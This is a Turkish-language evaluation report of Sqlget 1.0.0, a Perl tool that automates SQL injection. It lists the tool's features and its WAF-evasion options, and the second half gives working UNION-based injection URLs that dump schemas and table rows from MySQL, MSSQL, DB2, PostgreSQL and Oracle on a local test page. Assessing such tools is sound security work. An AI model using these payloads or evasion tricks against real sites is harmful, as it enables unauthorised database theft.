Lisans
GPL
Versiyon
1.0.0
Yazar & Bağlantı Bilgileri
Francisco Amato, famato at infobyte dot com dot ar
Programlama Dili
Perl
Önkoşullar
Convert::EastAsianWidth
Unicode::EastAsianWidth
GraphViz modulü diğer perl kütüphaneleri (GraphViz ve IPC::Run) ve cgywin or a linux dağıtımı istemektedir
URL
http://www.infobyte.com.ar/down/ISR-sqlget-1.0.0.tar.gz
Test Yatağı
win2k3 sp1 vmware image with ActivePerl 5.8.8 Build 819
MSSQL 2005 EE, Oracle 10g EE, DB2 EC v 9.5, PostGreSQL 8.2, MySQL Community 5.0.45
Kurulum Püf Noktaları (Hatalar/Çözümler/Öneriler)
2 hata ve çözümleri, detaylar için Sqlget v.1.0.0 - HÇÖ
Rapor İsmi
Sqlget - Otomatize SQL Enjektörü Analizi
Rapor Yazarı
Bedirhan Urgun, urgunb at hotmail dot com
Rapor Tarihi
29 Şubat 2008
Komut Satırı/Grafiksel Arayüz
Komut Satırı
Başlat/Durdur/Devam Et Özellikleri
-
Dokümantasyon
Kod ile beraber gelen README dosyası bir kaç örnek içermektedir ancak özellikle oturum dosyaları yazma konusunda ciddi bir bilgi eksikliği vardır.
Hafifsıklet Bilgiler
-
Veritabanı İsimleri
Evet
Tablo İsimleri
Evet
Sutün İsimleri
Evet
Tablo Satırları
Evet
Temel Sorgu
İlk olarak bir perl dosyası üretilmelidir (bu dosyanın ismi db2.pm olsun). Daha sonra, aşağıdaki komut db2.schema dosyasını üretmek için çalıştırılmalıdır.
ISR-sqlget.pl -s -n db2
db2.schema üretildikten sonra, db2.pm dosyasındaki @conf::path isimli parametre db2.schema bilgiler göz önünde bulundurularak değiştirilmelidir. Sonra
ISR-sqlget.pl -d -n db2
komutu, db2.schema dosyasına göre kayıtları dökmek için çalıştırılmalıdır.
Püf Noktaları
db2.schema üretildikten sonra, sadece ilgili tabloları ve kayıtlarını almak için değiştirilebilir.
Çalıştırılan Toplam Sorgu Sayısı
DBMS Banner Almak
Kör
-
Union
-
Kullanıcı İsmi Almak
Kör
-
Union
-
Kimlik Doğrulama Tipleri
Cookie
İlgili oturum perl dosyasında $conf::cookie, @conf::cookies parametreleri
Temel Kimlik Doğrulama
Evet
Özet Kimlik Doğrulama
-
NTLM
-
Sertifika
-
DBMS Desteği
Bu raporda kalın veritabanı isimleri başarılı olarak denenmiştir.
MSSQL
MYSQL
ORACLE
POSTGRESQL
DB2
MIMER
INTERBASE
VIRTUOSO
PERVASIVE
HSQLDB
SQLITE
INFORMIX
SYBASE
H2
MCKOI
INGRES
MONETDB
MAXDB
THINKSQL
SQLBASE
Gerçeklenen Enjeksiyon Tipleri
Kör
Doğru/Yanlış
-
Zaman Tabanlı
-
Hata Tabanlı
-
Union
Evet
Tek Kayıt Union
-
Bant Dışı Kanal
-
Anonimlik Desteği
User-Agent
İlgili oturum perl dosyasında $conf::ruseragent, $conf::ruseragentfile ve $conf::uagent parametreleri
Referrer
-
Proxy
İlgili oturum perl dosyasında $conf::proxy_host, $conf::rproxy ve $conf::rproxyfile parametreleri
Veritabanı Döküm Granüleritesi
-s opsiyonu ile [veritabanı isimleri, tablo isimleri, sütun isimleri]
-d opsiyonu ile [tablo kayıtları]
Diğer
302 Yönlendirme Yönetimi
-
Atlatma (Evasion) Özellikleri
modsecurity <= 2.1.0 atlatması
full_width/half_width kodlama
istekler arasında rasgele beklemeler
büyük küçük harf
string kodlama (ASCII->Char, HEX)
Özel Yapım SQL Sorgu Desteği
-
Paralel İstekler
-.Ama kullanılan algoritma (özellikle tablo kayıt dökümleri) paralelliği desteklemektedir.
Enjeksiyon Noktaları
GET
Evet
POST
Evet
COOKIE
-
HTTP HEADERS
-
Otomatik Yazılım Yenileme
-
İstek/Cevap Kayıtları
-v hata ayıklama yolu opsiyonu ile
Programa Özel Kayıt Tutma
Araç csv ve html döküm dosyaları üretmektedir. Ayrıca, denemek mümkün olmasa da, dökülen db yapısını gösteren harika bir grafik arayüzü bulunmaktadır.
Basit SQL Enjeksiyonu Testi (Tek URL ve Parametreler)
-. Saldırı kodu ilgili oturum perl dosyasında $conf::inj parametresinin değeri olarak elle yazılmalıdır
Basit SQL Enjeksiyonu Tarama (Crawling Yolu İle)
-
DBMS Banner Alma
-
Kullanıcı İsmi Alma
-
Veritabanı isimleri, Tablo isimleri ve Tablo sutün isimlerini Dökme
Mysql
http://localhost/sqlinj.php,type=2&log=0&order=1&database=mysql&name=PENELOPE')
union select 1,CONCAT(information_schema.TABLES.TABLE_SCHEMA,'[__]', information_schema.TABLES.TABLE_NAME,'[__]',COLUMN_NAME,'[__]',DATA_TYPE),
'a','2006-02-15 09:34:33'
from information_schema.COLUMNS INNER JOIN information_schema.TABLES ON information_schema.TABLES.TABLE_NAME=information_schema.COLUMNS.TABLE_NAME #
Mssql (önce veritabanı isimleri alınır daha sonra sadece Northwind veritabanı çekilir)
http://localhost/sqlinj.php,type=2&log=0&order=1&database=mssql&name=PENELOPE')
union select 1,{fn CONCAT({fn CONCAT(NAME,'[__]')},'')},'a','2006-02-15 09:34:33' from master.dbo.sysdatabases --
http://localhost/sqlinj.php,type=2&log=0&order=1&database=mssql&name=PENELOPE')
union select 1,
{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(Northwind.INFORMATION_SCHEMA.TABLES.TABLE_CATALOG, '[__]')}, Northwind.INFORMATION_SCHEMA.TABLES.TABLE_NAME)}, '[__]')}, COLUMN_NAME)}, '[__]')}, DATA_TYPE)},
'a','2006-02-15 09:34:33'
from Northwind.INFORMATION_SCHEMA.COLUMNS INNER JOIN Northwind.INFORMATION_SCHEMA.TABLES ON Northwind.INFORMATION_SCHEMA.TABLES.TABLE_NAME=Northwind.INFORMATION_SCHEMA.COLUMNS.TABLE_NAME --
Db2
http://localhost/sqlinj.php,log=0&type=2&order=1&database=db2&name=PENELOPE')
union select 1,TABLE_SCHEMA||'[__]'||TABLE_NAME||'[__]'||COLUMN_NAME||'[__]'||DATA_TYPE,'a','2006-02-15 09:34:33' from SYSIBM.COLUMNS --
Postgresql
http://localhost/sqlinj.php,type=2&log=0&order=1&database=pgsql&name=PENELOPE')
union select 1,
COALESCE((select nspname from pg_namespace where a.relnamespace =pg_namespace.oid),'0'::text)||'[__]'||
COALESCE(relname,'0'::text)||'[__]'||COALESCE(attname,'0'::text)||'[__]'||
COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text),
'a','2006-02-15 09:34:33'
from (pg_attribute b JOIN pg_class a ON (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --
Oracle
http://localhost/sqlinj.php,type=2&log=0&order=1&database=oracle&name=PENELOPE')
union select 1,OWNER||'[__]'||TABLE_NAME||'[__]'||COLUMN_NAME||'[__]'||DATA_TYPE,'a','2006-02-15 09:34:33' from all_tab_columns --
Satırları Alma
Mysql (sadece actor tablosu için)
http://localhost/sqlinj.php,type=2&log=0&order=1&database=mysql&name=PENELOPE')
union select 1,CONCAT(last_update,'[__]',actor_id,'[__]',last_name,' [__]',first_name),'a','2006-02-15 09:34:33' from sakila.actor #
Mssql (sadece actor tablosu için)
http://localhost/sqlinj.php,type=2&log=0&order=1&database=mssql&name=PENELOPE')
union select 1,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(last_update,'[__]')},convert(varchar,actor_id))},'[__]')},last_name)},'[__]')},first_name)},
'a','2006-02-15 09:34:33' from Northwind..actor --
Db2 (sadece actor tablosu için)
http://localhost/sqlinj.php,log=0&type=2&order=1&database=db2&name=PENELOPE')
union select 1,FIRST_NAME||'[__]'||CHAR(ACTOR_ID)||'[__]'||CHAR(LAST_UPDATE)||'[__]'||LAST_NAME,'a','2006-02-15 09:34:33' from ADMINISTRATOR.ACTOR --
Postgresql (sadece actor tablosu için)
http://localhost/sqlinj.php,type=2&log=0&order=1&database=pgsql&name=PENELOPE')
union select 1,
COALESCE(last_update,'1970-01-01 00:00:00'::timestamp)||'[__]'||COALESCE(actor_id,'0'::int4)||'[__]'||COALESCE(last_name,'0'::varchar)||'[__]'||COALESCE(first_name,'0'::varchar),
'a','2006-02-15 09:34:33'
from public.actor --
Oracle (sadece actor tablosu için)
http://localhost/sqlinj.php,type=2&log=0&order=1&database=oracle&name=PENELOPE')
union select 1,FIRST_NAME||'[__]'||ACTOR_ID||'[__]'||LAST_UPDATE||'[__]'||LAST_NAME,'a','2006-02-15 09:34:33' from HR.ACTOR --
Kör
Sayılar
-
Karakterler
-
Union Parse Algoritması
" union select 1,<VALUE>,'abc','1970-01-01 00:00:00' from <TABLE> <WHERE> <TAIL> -- " hem yapıyı hem de satırları dökme işlemlerinde şablon olarak kullanılmaktadır.. <VALUE> aralarına [__] dizgisi serpiştirilmiş (parse işlemi için) değerlerden oluşmaktadır.
Saldırı iki bölümden oluşmaktadır; veritabanı yapısının alınması ve bu yapıya göre satırların alınması. İlk bölüm sadece 1 istekten oluşur (MSSQL için 1 + veritabanı sayısı). İkinci bölüm n istekten oluşur. n ilk bölümde çekilen veritabanı yapısındaki tablo sayısıdır. Yapı dosyasını değiştirerek tablo sayısı sadece kritik tablolar içerilecek şekilde değiştirilebilir. İki bölüm birlikte, sqlget'in algoritma analizi O(n)+1 olarak gösterilebilir. n tablo sayısı ve 1 veritabanı yapısı çekme isteğidir (MSSQL için sabit k, veritabanı sayısı).